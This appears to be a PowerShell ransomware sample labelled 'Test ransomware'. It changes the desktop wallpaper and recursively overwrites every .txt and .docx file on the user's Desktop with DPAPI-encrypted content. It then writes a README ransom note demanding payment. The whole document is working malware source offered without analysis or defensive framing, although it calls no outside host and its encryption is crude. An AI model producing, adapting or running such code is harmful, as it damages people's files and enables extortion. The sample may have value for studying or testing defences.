Test ransomware

Function Set-WallPaper($Value)
{
 Set-ItemProperty -path 'HKCU:\Control Panel\Desktop\' -name wallpaper -value $value
 Start-Sleep -s 1
 rundll32.exe user32.dll, UpdatePerUserSystemParameters 1, True
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
 RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters
}
$dir = (Get-Location).tostring() + "\wallpaper.jpg"
Set-WallPaper -value $dir
$path = [Environment]::GetFolderPath("Desktop")
Get-ChildItem -Path $path -Recurse -Include *.txt | ForEach-Object {
   $fileName = $_
   $fileTmp = $path + "\tmp.txt"
   $fileTmpAttributes=Get-Item $fileTmp -Force
   $fileTmpAttributes.attributes="Hidden"
   Write-Host $fileName
   Get-Content $fileName | ForEach-Object {
      $tmp = $_ | ConvertTo-SecureString -AsPlainText -Force
      $result = ConvertFrom-SecureString $tmp
      Add-Content $fileTmp $result
   }
   Start-Sleep -s 1
   Clear-Content $fileName
   Get-Content $fileTmp | ForEach-Object {
      Add-Content $fileName $_
   }
   Clear-Content $fileTmp
   Start-Sleep -s 1
}
Remove-Item -Path $fileTmp
"All your personal files have been encrypted!" | Out-File -FilePath ($path+"\README.txt")
Add-Content ($path+"\README.txt") "If you want restore your data, you have to pay!"
Add-Content ($path+"\README.txt") "Contact us: no-reply@hacker.ahihi"

Get-ChildItem -Path $path -Recurse -Include *.docx | ForEach-Object {
   $fileName = $_
   $fileTmp = $path + "\tmp.txt"
   $fileTmpAttributes=Get-Item $fileTmp -Force
   $fileTmpAttributes.attributes="Hidden"
   Write-Host $fileName
   Get-Content $fileName | ForEach-Object {
      $tmp = $_ | ConvertTo-SecureString -AsPlainText -Force
      $result = ConvertFrom-SecureString $tmp
      Add-Content $fileTmp $result
   }
   Start-Sleep -s 1
   Clear-Content $fileName
   Get-Content $fileTmp | ForEach-Object {
      Add-Content $fileName $_
   }
   Clear-Content $fileTmp
   Start-Sleep -s 1
}